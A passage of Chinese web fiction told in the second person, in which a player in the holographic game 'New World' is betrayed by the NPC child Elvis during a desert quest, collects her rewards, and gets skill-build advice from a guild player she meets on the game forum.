检查状态栏时,你发现“炙热”和“虚弱”两个debuff的倒计时停留在18:23:55,跟昨天下线时一模一样。
看来奇遇剧情并不像主地图一样,跟外界的时间流速保持一致,你猜测大约更像传统剧情游戏的模式,只有玩家处于剧情中的时候剧情才会发展。
看着时间又过去了四五分钟,你不再犹豫,点击了接取的选项。
再睁开眼时,你首先感受到的是身体的沉重,是每个不常运动的人剧烈运动之后第二天肢体不受控制的酸痛感。你尝试着活动手臂,立刻被肩膀和背部的僵硬打败了。
“嘶——”
紧接着腿部传来过电似的灼烧感,一阵一阵地发麻,你低头一看,蜷成一团的白布,正靠在你大腿上休息。你揭开外层的白布,轻轻拨开他散落在侧脸边的发丝,于是埃尔维斯沉静的睡颜显露出来。他的睫毛又长又翘,嘴唇紧闭,看起来乖巧却不安。
你轻轻推了两下,埃尔维斯长睫微颤,睁开眼坐起来,开始揉着眼睛。你这才扶着岩壁慢慢站起来,麻木感在整条腿间来回乱窜,你将重心在两条腿之间来回轮换,才慢慢好了一些。
感知到身后的视线,你转过身来,埃尔维斯立刻站起来向你道歉。
“很抱歉,我……不是故意的……”
他说得磕磕巴巴,没什么底气。
你只挥挥手:“没事。”
本来你也不可能跟小孩子计较,而且这还是你的关键人物,奇遇能不能做完就看他了。你本来打算潇洒地挥挥手,表现你内心的毫不在意,但是只做到一半肩膀猛地一酸,立刻连表情都扭曲起来,显得十分言不由衷。
埃尔维斯立刻后退了几步,脸色发白,连手指都攥紧了,眼中的警惕又像是回到了昨天初见时,却不知为什么犹豫着没有离开。
你立刻解释起来:“我真的没有怪你,只是刚刚挥手时肩膀太酸了,你信我啊!”
也不知道埃尔维斯信了没有,过了一会儿才试探着接近你,开口道:“我可以帮你捏肩膀。”
像是为了证明自己,他又补充道:“以前我的……我经常帮祭司大人,处理淤伤和捏肩捶背这些事情我都很擅长。”
你没有追问他话中透露出来的信息,只是微笑着答应了。
妖精种族身材并不高大,系统给出的上限只有一米五,你当初捏脸时身高是随机摇出来的,目测大概不到一米五,但这孩子比你还要矮上一头。为了方便他,你微微蹲下身来,这种类似蹲马步的姿势不断消耗着你的体力条。
终于在你支撑不住之前,埃尔维斯停了下来:“好了,感觉是不是好一些了?”
你整个人倒在岩壁上,口是心非道:“是的,我好多了。”
【叮】埃尔维斯好感度+5
你还没来得及为自己取得突破性进展感到高兴,提示音又响了起来。
【叮】埃尔维斯好感动-2
???
这是什么操作?
先加后减很容易影响心情的!直接+3不好吗!
但在你吐槽之前,埃尔维斯却先开口了:“其实,我知道怎么离开这里。”
“什么?”你立马站直。
埃尔维斯以为面前的妖精少女会因自己的隐瞒生气,不想她却显得很惊喜,激动地走上前来不断问着是不是真的。
他松下一口气,心下转了一圈,按照计划好的开口:“是真的。”
“之前没有告诉你,是因为我还不能信任你,很抱歉!”
看着妖精少女皱眉,埃尔维斯又赶紧接着解释:“你救了我,我不感激反而怀疑你,这都是我不好。沙漠中的外来人实在太少了,我没办法不防备。但昨天你愿意相信我,一直跟着我走了很久也没有抱怨,还把解渴的草茎留给我,我相信你一定是好人才敢开口告诉你。”
“哦?”你听着反复响起的好感度变动提示音,敏锐地察觉到埃尔维斯的话可能并不像表面上听起来那么简单。
埃尔维斯犹豫了几息,最终还是回应了你的疑惑:“其实我不是妖精。”
你有些惊讶,埃尔维斯除了发色,看起来完全是妖精一族无疑,但你没有表露地太明显,让他好继续说下去。
“我是……混血种……”埃尔维斯说得很艰难,他一度快要喘不上气,但他最终还是说出来了,开口之后甚至说得越发流畅,“我是沙民和妖精的混血。”
听到这里,你在心里将【放逐之子】这个名字琢磨了一圈,又联想起了那位钓鱼的青年。
埃尔维斯不知道对面妖精少女的内心活动,自顾自讲着:“沙民的血,是力量的源泉。生活在迷惘沙漠中的居民,可以通过血液将彼此联系起来。”
“也就是说,你的血可以带我们离开这里?”你的目光落在埃尔维斯脸上,他却躲避着低下了头。
“我是混血种,我的力量不如其他族人强大,需要其他的媒介才行。”
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“媒介?”
“是的。”埃尔维斯喉结上下滚动,仰视着你,“带有强大生物气息或者力量的媒介,比如擅长空间跳跃的游风隼的眼珠,或者……”
“迷惘沙漠中火凤的尾羽。”你翻手向上,露出手中金色的尾羽,“我说的对吗?”
“是的……”埃尔维斯的目光在你的眼睛和手心之间来回游移,他的信心摇摇欲坠,但却坚持着不肯放弃。
你长久地凝视着他,但埃尔维斯始终没有改口的意思,甚至鼓足了勇气同你对视。瞟一眼任务栏不断缩短的限定时间,你收回手将尾羽握在身后。
埃尔维斯沮丧地低下头,却听到面前的妖精少女开口了:“尾羽可以给你。但你要告诉我,你为什么会出现在这里。”
他抬起头,自称薇的少女偏着头浅浅微笑着,狡黠而灵动,她薄薄的嘴唇里却吐出一串残忍的问句:“你,为什么会独自出现在这里?你说沙民可以互相联系,为什么过了一天一夜你的家人仍然没有来找你?而身为混血种的你,又想借这根尾羽去哪里呢?”
少女的话像是单纯的疑问,又像是别有深意。埃尔维斯告诫自己不要多想,她不可能知道自己的事情的,但他却不能无视这些看似普通的问题给他带来的锥心刺痛。
记忆中布满血色的晦暗场景一一涌上心头,埃尔维斯紧咬牙关,想让自己尽可能看起来平静一些,但他剧烈起伏的呼吸已然暴露了他的心绪,比话语更早冲出来的是他的眼泪。
“我是被放逐出来的。”他静静地淌着泪,笔直地站在原地低着头,努力地试图用冷漠的声线叙述着,“沙民不允许族人同外人通婚。一旦与外人通婚会被视为不义,这是背弃神恩的举动。混血种的血液是不洁的,充满罪恶的杂质会抵斥神恩的荫庇,所以我从小就被视为不祥之人。”
“我的母亲原本是族中的祭司,但是因为生下了我,也被族人排斥。她曾经预言血色泪湖会不断缩小,乃至干涸,但族人始终不肯相信,只将她的话当做疯言疯语。最近两年,我母亲的预言应验了,他们却将罪责归咎于我们母子,认为是我的存在招来了神罚。”
他捻了一下手心里的那块白布,继续道:“这块白布,是用我母亲的血和前代祭司的骨炼成的,能够抵御风沙和日光的伤害,是我们一族的象征,但也会吸引猎食者。我靠着它在沙漠里游荡了两天,最后引来了火凤。”
埃尔维斯垂着头,他的尖耳隐藏在发丝之中,如果不是初见时的狼狈,你恐怕也不会注意到。
你很久不曾开口,他像是想说些什么缓解这种无言相对的尴尬,又继续坦白道:“之前我特意带你绕了远路,给你草茎也是为了考验你。迷惘沙漠的边界有强大的沙暴阻隔,费尽心思来到这里的人必然另有目的,我没办法随随便便相信你。”
“我并不是想为自己开脱。我知道,你救了我,我却不能相信你、甚至怀疑你别有目的,这都是我的错。但我发誓我刚刚向你要火凤尾羽绝不是别用用心,我是真的想带你一起离开的。”
“我只是不想提起曾经的事情……”
埃尔维斯说完,喉咙里一阵烧灼般的疼痛,他感到口渴,但比这更令他在意的是面前少女的反应。他不知道自己的话能否打动面前的人,也不知道对方会有何种反应。他的心脏紧张地跳动着,等待妖精少女最后审判的到来。
7. 传送
假如站在这里的不是玩家,埃尔维斯的解释只会加重对方的怀疑吧?
因为在他面前,你没有直接操作任务栏,只是看了一眼被好感度变动提示刷满的任务界面,最顶端名为【放逐之子】的条目里倒计时仍然在继续,心里颇感无奈。但你知道,此刻除了埃尔维斯这个突破口,再也无计可施。
状态栏里血条还在一点一点地变短,饥饿值也几乎见底,还有沙漠中仅有的那个传送点。
你朝他摊开手心:“我相信你。”
“说好了,要一起走哦。”
面对妖精少女的笑颜,埃尔维斯脸上发烧,他觉得更渴了,整个人好像是被烧干的水壶,无力地用嘶哑的声音哀嚎着,只有一点点愧疚心再注入其中,就会立刻爆炸。
“不用了。”他发觉自己的声音变了调,哽了一下才继续道,“你拿着就可以了。”
————————
埃尔维斯走在前面,你跟得有些艰难,深一脚浅一脚走在后面。血条几乎被“炙热”完全拖垮了,你已经用完三瓶低级回血药了,背包里只剩最后一瓶。
好不容易看到了希望,难道要以热死在沙漠里告终吗?
不对。你想起「新世界」里的复活规则,最后也只会被刷新到之前那个复活点吧?
所以,是以反复热死在沙漠里告终?
还是不对,在「新世界」里变成0级会怎么样?
……最后也不会脱离吧?
你看了一眼右上角的道具商城标志,最后还是要走到氪金这一步了吗QAQ
可当你打开道具商城,却没有找到充值渠道。低级回血药一旁写着30铜币的售价,你看着自己2012贝币的总资产,陷入了长久的沉默……
在「新世界」里,1铜币可兑1000贝币,但1200贝币才可以兑1铜币。
可恶……
埃尔维斯像是察觉到了你的窘迫,转身走向你,把披在头上白布分出一部分展开来:“炽念可以抵御风沙和炎热,过来一起?”
“这样可以吗?”你还是有点犹豫。
埃尔维斯表现出来的不信任实在有些伤人,虽然你很清楚他只是游戏中的npc,对陌生人保持警惕的举动也并非无法理解,但屡屡受挫的遭遇还是打击了你的游戏热情。
想着血条见底后可能会有的遭遇,你赶紧摇了摇头,从沙子底下的传送阵里爬出来什么的,经历两次已经足够终身难忘了。
“说好了一起的……不是吗?”他格外注意自己的语气,说完前半句之后又担心似的补充着,却不知越发欲盖弥彰。
你也不去戳穿,走到他身边去。埃尔维斯微微踮起脚,想帮你披上白布,也不知道他是如何保持平衡,踩在沙地上竟然没有留下脚印,履沙粒犹如平地。
白布还没盖上来,你只是微微靠近他就发觉浑身凉爽起来,就像夏天从室外回到空调房里,连“炙热”的debuff都直接消失了!
“来,我们挤挤。”
你立刻变脸,把之前的那一点不自在和灰心完全抛诸脑后,贴紧埃尔维斯的同时把白布往自己这边卷了一大块。
这下不自在的人变成了埃尔维斯,但他却不转头,仍然用侧脸对着你,只是低着头。阳光透过白色布料的遮挡,温柔地落在你们的脸颊之上,他的尖耳好好地藏在发丝之中,抿紧的嘴唇已经干枯起皮,但仿佛穿过了朦朦胧胧的梦境,你的眼中一时只看得到他眼底深深的阴影。
你垂着眸,实际上瞟了一眼任务栏的倒计时,已经走了三个小时了。
埃尔维斯终于喊停了:“就是这里。”
他往前走去,跪下身寻找着什么。你也学着他的动作蹲下来,问:“这是在找什么?”
“血的气息。”他的上半身几乎匍匐在地,从你的角度根本看不清他的表情,只觉得他的声音格外板平。
很快埃尔维斯有了新的发现,他跪坐起来拂开表层之后,隐于下层的事物逐渐显现。
你看着他用纤瘦的手掌推开一捧捧黄沙,一股浓厚的血腥味儿立刻扑鼻而来,你觉得头脑发昏,晕晕沉沉地失去平衡,向后跌坐在沙地上。意识到不对之后,你立刻屏住呼吸,就势向后翻滚了一圈撤开,同埃尔维斯拉开距离。
你扫一眼状态栏,多了个名为“血缚”标志。你没时间仔细查看,其实你头晕得很,但曾经的游戏经验让你立刻进入戒备状态,摆出防御的姿势后背手下挥,快捷键取出反手匕首握住。
埃尔维斯明显格外慌乱,他冲你摆手:“别误会!这个影响不大,你屏住呼吸就好了!”
看着他不像要攻击,你僵持了一会儿,查看状态栏时“血缚”已经消失了。你上下打量了一圈,他两手空空,脸上的紧张和慌乱不似作伪,于是你把匕首收回包裹,又站起身朝他靠近。
你始终没有将匕首暴露在他眼前。这次有了防备,你微微掩鼻,屏住呼吸靠近时果然没有再头晕。
埃尔维斯肩膀下沉,整个人长出了一口气:“我真的没有骗你。”
他解释道:“沙民的血有特殊的味道,外来人一开始闻到都不太适应。”
听他说完,你下意识想采集一点,刚将手指伸到被血浸润的沙子上方,埃尔维斯立刻挥手拍开了你的手。
“不可以碰!”他又紧张起来。
“为什么?”你收回手,不知道是不是他方才太用力,你觉得被他拍打过的手背发麻,但状态栏中却没有显示异常。
你稍感放松,听着他解释道:“沙民的血是有力量的,如果你碰了,血的主人会感知到。”
“在这里也能感知到?”你表示怀疑。
“是的。”他点头,神情很沉重。
“可是刚刚你碰了。”你的眼神宛如刀锋,紧紧锁定在他脸上。
他咬了咬下唇,回望你的眼神复杂极了:“这是我母亲的血。我被送来献祭,需要用她的血画符文。”
母亲的血?
你感到不解,但埃尔维斯显然不想继续解释。他闭上眼,嘴唇快速而轻微地翕动了几下,一串韵律怪异的声调时远时近地传过来。紧接着埃尔维斯并指在手臂上轻轻一划,他小麦色的皮肤上立刻多了一道裂口。裂口光滑到不似人类肌肤伤口应有的样子,里面以明显不合理的速度缓慢而大量地涌出暗沉的血液。
你又闻到了那股血腥味,但似乎比一开始沙地里的要淡得多。你没有再感到头晕,但看着埃尔维斯沾着自己的血在沙地上写写画画,还是谨慎地推开了几步。
“好了。”他转头叫你,在那到裂口上轻轻一拂,小麦色肌肤上所有的痕迹都消失不见,只留下地上的一堆符号。
他以为你在好奇
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,解释了几句:“这是沙民的天赋之一。”
你也并不追问,埃尔维斯不肯说出真相,你问了恐怕也只能得到似真似假的敷衍。于是你点点头,打量起地上的符文来。这些符文之间没什么规律,也没有相似的雏形,各自的位置之间也显得杂乱无章。
甩一个鉴定术上去,系统附上“传送阵(未生效)”的注释字样。
你稍感轻松,起码在这件事上埃尔维斯没有撒谎。
他小声解释起来:“我跟纯血的族人联系并不密切,只能借我母亲血中的力量,把我们传送到她身边去。”
“你的意思是,我们被传送过去之后,马上就要面对你的母亲?”
“是的。”他抬着眼,不曾移开视线,“这就是沙民们彼此之间的联系,我们只能传送到特定的人身边。”
“这叫做——血盟。”
他道:“我母亲是我唯一可以建立联系的人。”
你翻手取出火凤的尾羽,他的意思很明显,用了确实能离开,但离开之后会面临什么状况可说不准。恐怕他之前不说,特地到现在才解释,就是怕你不同意。
这一路走来,你的体力条所剩无几,“虚弱”的defuff还有十四个小时,而包里只剩最后一瓶低级回血药,没有食物。
埃尔维斯明显也在紧张,他两手交握成拳,那块裹身的白布被揉出一道道褶痕,他棕色的眸子一眨不眨,嘴唇干燥到裂开了一道小口,鲜血凝固在伤口上他也没有发觉。
“我相信你。”你仍然选择了这样的说辞,将火凤的尾羽放置在他指定的位置上之后甚至微笑起来,“你不会骗我的,对吧?”
埃尔维斯慌乱的移开眼神,他无法回应妖精少女的问题,只能在心里一遍一遍地告诉自己,不会有事的。他看见少女眯起翠色的眸子,那汪清泉似的眼睛好像拷问着他。
埃尔维斯没有掩饰自己的回避,他的动作焦急到有几分粗鲁,迅速地将你拉到传送阵内,转移话题道:“马上就好了。”
【叮】请前往迷惘沙漠的边界,寻找火凤的金色尾羽(0/3)
你的思绪被系统提示打断,可当你看向脚下时,那根尾羽分明还在原地,只是肉眼可见地黯淡下来,褪成了一条白色的尾羽。
“这……”你还来不及惊讶,身体突然一紧,整个人被一道锈色的绳索绑住了,紧接着状态栏里的各项数值极速下滑,你开始头晕眼花,失去平衡跪倒着干呕起来。
“血缚”:沙民的天赋技能,被标记之人将为血束缚,不被操控时无影响。
状态栏里红色的“血缚”标签再度显现,旁边多了一个小人的标签,点开,是“埃尔维斯”。
你握了握手掌,刚才被埃尔维斯拍过的地方一阵针刺似的锐痛。
你不知道该做出怎么的表情才好,埃尔维斯把你拉起来,用自己的身体支撑着你站住,小声而快速地说:“你不要挣扎,越挣扎越难受。我不会伤害你的,我的承诺都是真的。”
你看着同埃尔维斯的手臂连在一起的绳索另一端,嘲讽地笑笑:“这就是你的承诺?”
他有些进退两难,用白布把手臂和绳索都遮住,才道:“是的。”
他棕色的眸子里闪烁着狂热的光,甚至扭曲了他原本清秀的面容:“我是你为而来的。”
“正如你一样。”
8. 脱离
埃尔维斯话音刚落,系统提示立刻接连弹出来,紧接着你仿佛被一层水波隔开,他的面目刹时模糊起来。
【叮】任务已完成
【叮】放逐之子(初始章)检测中……
【叮】放逐之子(初始章)已完成,剧情脱离中……
【叮】奇遇阶段奖励结算中……
【叮】奖励已发送至系统邮件,请完结自行查收
【叮】放逐之子(第二章)即将解锁(倒计时11:59:59)
你被一连串的提示音吵昏了头,最后弹出来的倒计时覆盖了其他系统消息。
“不是吧,十二个小时?”你一眨眼已经被动脱离了奇遇剧情,瘫在住宅小屋的沙发上面无表情清消息。
你在游戏里的痛觉只调到了百分之十,但这没办法防住眩晕形式的攻击,脱离剧情出来好一会儿也没缓过来。
等修整完毕,你发现主世界地图仍然是一片灰,显示不可传送,奇遇剧情那边看上去倒计时不结束也进不去了。
你只能悻悻退出游戏。
从游戏舱里出来,你看了一眼房间墙上的钟,现在还不到上午十二点。明明只过去了四五个小时,你却觉得无比的心累。
你蜷在你的小床上静静地躺了一会儿,又抱住枕头不甘心地滚来滚去:“可恶可恶!”
“埃尔维斯这个小骗子居然背刺我!”
“有本事不要让我脱离剧情啊啊啊啊!”
你发泄了一会儿,又感到有几分沮丧:“还不知道传送过去又碰到什么,埃尔维斯的表情想起来就叫人心里毛毛的。”
真的有必要继续做这个任务吗?
你躺成一个大字,认真地思考着这个问题。
“不对!”你猛地坐起。
“什么不对?”转身你正对上女人惊讶的脸。
“妈,你怎么又不敲门进来!”你皱皱眉,在床上跪直了上半身转向她。
“哎呀,妈妈又忘了。”她走过来伸手摸摸你的脸,又顺着你的发尾,哄着,“下次我一定记得。”
你也不是真的生气,看她答应了就好好回话:“没什么,刚刚在玩游戏。”
妈妈“哦”了一声,叮嘱道:“你少玩一会儿。玩几个小时休息一会儿,注意身体啊。”
“嗯嗯。”你点头答应。
她笑起来,拍拍你的头:“明天你叔叔家的小弟弟过来,可能比较吵,要是影响你了就告诉妈妈,我让你爸去说。”
“只要他不来我房间就行,没什么影响。”你无所谓地答道。
“也行。”妈妈沉吟了一会儿,还是开口,“明天你叔叔阿姨来了,先跟他们打完招呼,然后你带你弟弟去超市买点吃的,然后再回房间。”
“好。”
“真乖!”妈妈在你脸上亲了一口,“回来妈妈给你报销。”
等妈妈带上门出去了,你重重地倒在床上唉了一声。
你已经成年了,但爸妈总是习惯性对你过度保护,拿你当小孩子一样。你倒是不曾经历过叛逆期,因为爸妈都很注意你的情绪,家里的氛围一向比较轻松。你无意去向他们要求些什么,只是尽可能在父母面前表现得乖巧,让他们少替你担心。
你发愁却是因为明天即将到来的客人。叔叔那一家子,你想起来就不好受,妈妈恐怕也是一样的心情,只是还要顾忌爸爸。
你坐起来,不再想这些,而是重新进入游戏舱。
刚刚你才记起来,自己忘了领奖励邮件了。
登录还是在住宅小屋,你点开邮件,又是一长串的提示音。
“哇——”你发现自己的等级直接飙升到了16级。
这下好了,做完奇遇也不用担心升级的事了。
你倒不是想跟着玩家里的第一梯队,而是很多地图等级不够根本无法解锁。想到可以去到更多奇妙的地图打卡风景,你方才低沉的情绪被冲淡了不少。
你清点背包,发现货币栏多了10金币60银币300铜币,还有一瓶高级回血药、三瓶中级回血药、一张传送卷轴、一个炼金护身符还有一个金色的武器包裹。
考验手气的时候到了!
【叮】你开启了神秘的武器包裹,原来是[平平无奇的碧色长弓]!
平平无奇的碧色长弓?什么东西?
你点开注释,系统说明弹出来——
名称:(紫色武器)平平无奇的碧色长弓,光精灵一族常见的武器,带有一丝残留的生命树气息,不知为何流传到外界。
等级:10级(可升级)
技能1:治愈之箭(专属技能),配合专门打造的箭矢,可以恢复同伴10%的血量,技能CD4800秒。(主动)
技能2:未铭刻
技能3:未铭刻
你点开说明里的“箭矢”两个字,又是一大串说明,心里稍微有些失望。「新世界」里的武器由低到高分为白绿紫红金五个等级,紫色武器在刚开服的阶段肯定算少见,本来你还有几分惊喜,但看到是弓你就失望了,你还是比较喜欢长剑之类的武器,再加上这鸡肋的专属技能,你直接没了兴趣。
不再管这把武器,你打开道具商城搜索起来。你升级之后发现解锁了技能学习,游戏里的遭遇还是让你意识到了实力的重要性,连初始章都这么难,继续躺平恐怕很难做完这个奇遇。
很快你就挑花了眼。「新世界」里的技能自成一脉,你以往的游戏经验在技能搭配上没什么作用。看着一个个价值不菲的技能,你决定先去论坛找找攻略,以免踩雷。
回到房间,你坐在书桌旁用手机打开论坛,消息界面99+的字样让你颇为惊讶。
这是什么啊?
点开一看,居然全部是回复你的。
你继续看下去,原来是你之前留过言的“我初始种族刷到了人鱼……”那个帖子。
三言两语回复了妖精の翅膀:醒醒,几个菜啊[doge]
不必回复回复了妖精の翅膀:云玩?这种奇遇解锁有全服公告的,目前一个也没看见
咚咚东回复了妖精の翅膀:搁这吹吧,无图无真相[抠鼻]
不羡鸳鸯回复了妖精の翅膀:哇求问奇遇怎么解锁,蹲蹲!哦,只能解锁一次,打扰了,告辞[挥手]
我不吃宵夜了回复了妖精の翅膀:酸了酸了[柠檬][哭哭]
小小要长高回复了妖精の翅膀:emmmm感觉上面几楼说的有道理,层主不如自证一下?
你注意到有个id为“你急了你急了”的人,在这层下面回复了二十多条,最开始只是质疑你留言的真实性,大概过了太久没看到你回复,洋洋得意地又发了十几条挑衅的话。
你皱眉,最开始留言只是跟风凑个乐,没想到引来这种影响心情的回复,你本来想直接删除留言,下面有一条回复却吸引了你的注意力。
天花板上的巨巨妖精回复了妖精の翅膀:楼主也是妖精族嘛~要不要加个好友啊大家一起交流一下~
你点头像进去一看,发现这个人发了不少攻略帖,尤其是妖精族培养攻略写得格外详细。
返回再看,这个人也被那个id为“你急了你急了”的人回复了——
你急了你急了回复了天花板上的巨巨妖精:笑死人了,现在才多少级啊就有人敢自称天花板了。还巨巨?
天花板上的巨巨妖精回复了你急了你急了:没错啊我女鹅身高一米五,妖精族天花板无疑[白眼]
她的回复下面收获了一串同为妖精族玩家的“哈哈哈哈哈”。
你觉得挺有意思,主动给“天花板上的巨巨妖精”发了私信。
妖精の翅膀:嗨[挥手][挥手]
妖精の翅膀:我确实是妖精族,要加个好友吗?
天花板上的巨巨妖精:嗨!!!
你挑了挑眉,没想到会这么快收到回复,对方看起来还格外热情,你正在想怎么措辞,不想对面的消息有接连跳出来。
天花板上的巨巨妖精:你好,可以叫我小巨![蹦跳][蹦跳]
妖精の翅膀:我叫薇[笑脸]
天花板上的巨巨妖精:可以问你一件事吗?
你以为对方会问你留言的事情,招来那种莫名其妙的回怼大概也会影响心情吧?
结果对面发来了一张截图。
天花板上的巨巨妖精:排行榜上面这个,是你吗?
妖精の翅膀:[惊讶]可能是吧,我确实16级。
天花板上的巨巨妖精:玩家的昵称不能同名的,如果你的昵称是薇那这个肯定就是你
妖精の翅膀:确实是
妖精の翅膀:不过你怎么知道的,我一说就猜到了也太神奇了!
天花板上的巨巨妖精:[偷笑]
天花板上的巨巨妖精:我在一个大公会,又比较喜欢交朋友,开荒推副本的时候跟不少人都混眼熟了,第一梯队的人我基本上都有好友。你今天突然蹿上榜首我就在留意了,心想是哪来的人横空出世。再加上你那个留言说的奇遇的事情,我就猜了一下。
天花板上的巨巨妖精:没想到真的是你
妖精の翅膀:哈哈哈哈哈[点赞][点赞]
妖精の翅膀:不过这个排行榜是什么啊?
天花板上的巨巨妖精:等级排行榜啊,你没留意?[惊讶]
妖精の翅膀:这个……说来话长……
天花板上的巨巨妖精:洗耳恭听![点烟]
于是你将自己只能进入奇遇剧情、除了道具商城和住宅小屋以外的功能都无法使用的情况大致说一下。
天花板上的巨巨妖精:???
天花板上的巨巨妖精:还有这种设定?「新世界」策划挺能想啊!
天花板上的巨巨妖精:只能做奇遇剧情不会很无聊吗?
妖精の翅膀:会很心累……
妖精の翅膀:全息游戏都这样,关键npc都是高智能,没什么任务提示不好找线索[哭哭]
天花板上的巨巨妖精:那需要帮忙吗?
妖精の翅膀:目前还ok,我暂时应付的来。
天花板上的巨巨妖精:好的
天花板上的巨巨妖精:那方便问问你,你升级这么快是因为奇遇吗?
妖精の翅膀:是的,我刚做完初始章节,系统发的奖励里有经验包
天花板上的巨巨妖精:那你之前多少级?
妖精の翅膀:8级
天花板上的巨巨妖精:[惊讶]我记得10级才能出新手村啊?
妖精の翅膀:……奇遇里面死了一次掉级了[哭哭]
天花板上的巨巨
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() {
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妖精:……好心酸的经历[拍拍][摸摸头]
妖精の翅膀:确实……
天花板上的巨巨妖精:你怎么不升级之后再进去啊,现在做起来很难吧?
妖精の翅膀:当时没想到会这么坑……我真傻,真的[大哭]
天花板上的巨巨妖精:[摸摸头]
天花板上的巨巨妖精:那你应该刚解锁技能学习吧,有想法吗?
妖精の翅膀:完全没有,我刷论坛本来是想来找技能搭配攻略的
天花板上的巨巨妖精:[链接][链接][链接]
天花板上的巨巨妖精:你可以看看我写的这几个帖子参考一下
妖精の翅膀:感谢!
天花板上的巨巨妖精:客气![点烟]
你浏览了一会儿,有了一点思路。
妖精の翅膀:妖精族也可以走治疗吗?
天花板上的巨巨妖精:可以啊,妖精族自然亲和力强,跟除了常见的牧师职业,就妖精族这些特殊种族有天赋加成了
天花板上的巨巨妖精:你想专精治疗?
天花板上的巨巨妖精:要不要来我们公会啊,我们输出特多,下副本随时有人!
妖精の翅膀:我在考虑怎么搭配,不是很想专精治疗
天花板上的巨巨妖精:也是,做奇遇要提升战力的,你那边没战力不行啊
天花板上的巨巨妖精:现在治疗职业太少了,下副本用回血药都跟得上,大家都没往治疗发展,本来还想忽悠你来呢
妖精の翅膀:你们在培养专精治疗的玩家吗?
天花板上的巨巨妖精:是啊,我预测后面的副本肯定会需要治疗,官方不可能不做平衡的,大公会现在都在收人往治疗这边培养
天花板上的巨巨妖精:真的不考虑考虑吗,做完奇遇再转也行!我们是大公会!
妖精の翅膀:不了,我还是打算发展一下输出,我其实是风景党,除了这个奇遇应该没什么战斗的需求
天花板上的巨巨妖精:好吧[哭哭]
天花板上的巨巨妖精:你只能用道具商城,也不能跟玩家交易吧
妖精の翅膀:是的
天花板上的巨巨妖精:那那个攻略帖你可能用不了,里面好多技能都是需要下副本刷或者做任务用积分换的
天花板上的巨巨妖精:我去商城帮你看一眼
妖精の翅膀:太感谢了!
天花板上的巨巨妖精:小事儿!
过了一会儿,小巨那边又甩过来一串截图。
天花板上的巨巨妖精:妖精族高敏捷,刺客近战流挺吃香的,有自然亲和也可以往术士方向发展,你看看这几个方案
妖精の翅膀:我的职业是德鲁伊,我看了你的帖子是想往术士方向发展了。但妖精很多技能要在有植物的地方才能发挥出来,我奇遇的地图在沙漠,我就在头疼怎么搭配。
天花板上的巨巨妖精:这样的话你点个治疗技能、点两个防御技能、三个攻击技能,还有一个千万记得反控制的。
天花板上的巨巨妖精:现在还没解锁成套的招数,能学习的技能有限,七个技能位都算普攻。加上商城只有些基础技能,没什么好的,你在奇遇里面还是保命要紧
天花板上的巨巨妖精:你看这两个方案,反打流和苟命流,你选一个
你看了看小巨给的两个方案,一个的思路是防御的同时反弹对方打出的伤害,一个的思路就是拼命堆血量和防御技能。两个方案搭配的都相当精湛,配合得好了在奇遇里面保命不成问题。
妖精の翅膀:谢谢姐妹!
妖精の翅膀:反打的方案太好了,我就按这个来!
天花板上的巨巨妖精:我男的[酷]
妖精の翅膀:我误会了!谢谢小巨!
天花板上的巨巨妖精:小事一桩,不客气
天花板上的巨巨妖精:咱们加个好友啊,有事找我
天花板上的巨巨妖精:我经常做攻略,你奇遇那边的事有空跟我讲讲也行,我参考参考
妖精の翅膀:我游戏里用不了通讯技能,咱们加个聊天软件的好友?
天花板上的巨巨妖精:[OK]
很快小巨的好友申请就发了过来,你点通过,打完招呼后你想了想,还是问了小巨一声。
你:你们公会收武器么,我有个奇遇给的奖励,自己用不上
你:属性应该还行,专属技能是治疗,稍微有点鸡肋
小巨:专属技能?
小巨:艹,紫武!
小巨:收收收!收啊!
小巨:现在紫武有市无价,有专属技能的更稀有。这恢复群体血量10%还鸡肋,你别看CD长,副本里面用好了能扭转整个局面的,求求了我们愿意要这样的鸡肋!
你:[流汗]你看清楚了,要有配套的箭矢才行的,要的材料收集起来肯定费时
小巨:我们是大公会,这点材料,毛毛雨啦![叉腰]
小巨:甭担心,现在你还不能交易是吧,等你做完奇遇一出来我们就交易。500金行吗?不够可以再商量!
你:五百金太多了吧?
小巨:紫武值得!
你:那给我三百金就行,友情价,奇遇做完我找你[笑脸]
小巨:谢谢姐妹!
9. 预言
你笑了笑,回了最后一条消息就放下了手机。
你在现实中朋友不算多,游戏里也大多独来独往,没想到还能通过「新世界」认识新的朋友。
至于其他人的回复,你直接删除了自己的留言,不想在这方面多花心思。
晚上看了看时间,你提前登录了游戏。
你先按照小巨的要求,把紫武的各项属性和信息介绍重新截图保持,然后打开系统商城,按小巨给的方案搭配起来。
他给出的七个技能如下——
(治疗)清润:回复300点血量,技能CD72秒。(主动)
(防御)护甲:5分钟内增加20点防御,技能CD300秒。(主动)
(防御)坚固:3分钟内反弹敌方8%实际伤害,技能CD600秒。(主动)
(攻击)愤怒:如遭遇敌方攻击,防御-5,攻击+15。(被动)
(攻击)群伤:造成群体伤害800点,有效距离15米,技能CD1200秒。(主动)
(攻击)反刺:技能生效期后五分钟内如遭遇敌方攻击,有10%概率眩晕敌方,对敌方造成20点伤害,玩家攻击+20,技能CD600秒。(主动)
(解控)回元:技能生效后玩家恢复50点血量,生效期间如遭遇敌方攻击,若玩家等级高于或等于敌方,可免除眩晕、束缚等不可行动状态;若玩家等级低于敌方,50%概率可免除眩晕、束缚等不可行动状态。技能生效时间20秒(不可行动状态中可使用),技能CD180秒。(主动)
看完你才理解了为什么小巨说这些技能都是普攻了。你升到16级之后,初始血量上限为5000点,系统里给出的技能能造成的伤害有限,虽然这些数值也能随着玩家等级升级而升级,但玩家自身属性也不是一成不变的,技能升级跟不上玩家属性的升级。
但这并不意味着这些技能没用。就好比“清润”这个治疗技能,单次回血量相当于一瓶低级回血药,价值却相当于低级回血药的700倍(21000铜,1金=100银=10000铜)。但它的优点在于远远短于低级回血药的CD时间,且使用次数无限,在玩家等级较低、血量上限较低的情况下极为实用。
而有了“回元”这一技能,你相信下次再面对埃尔维斯那样的情况时绝不会再束手无策。
全息游戏中的战斗实际上可以由系统托管,但没有技能之前只能靠玩家的战斗意识,通过简单的劈、刺、砍、挑等战斗方式对敌方造成少量伤害,如果打中要害部位,则会造成更高的伤害。有了技能之后,一定程度上就算渡过了艰难的新手期,即便不擅长战斗也可以通过合理的技能搭配获得一定优势。
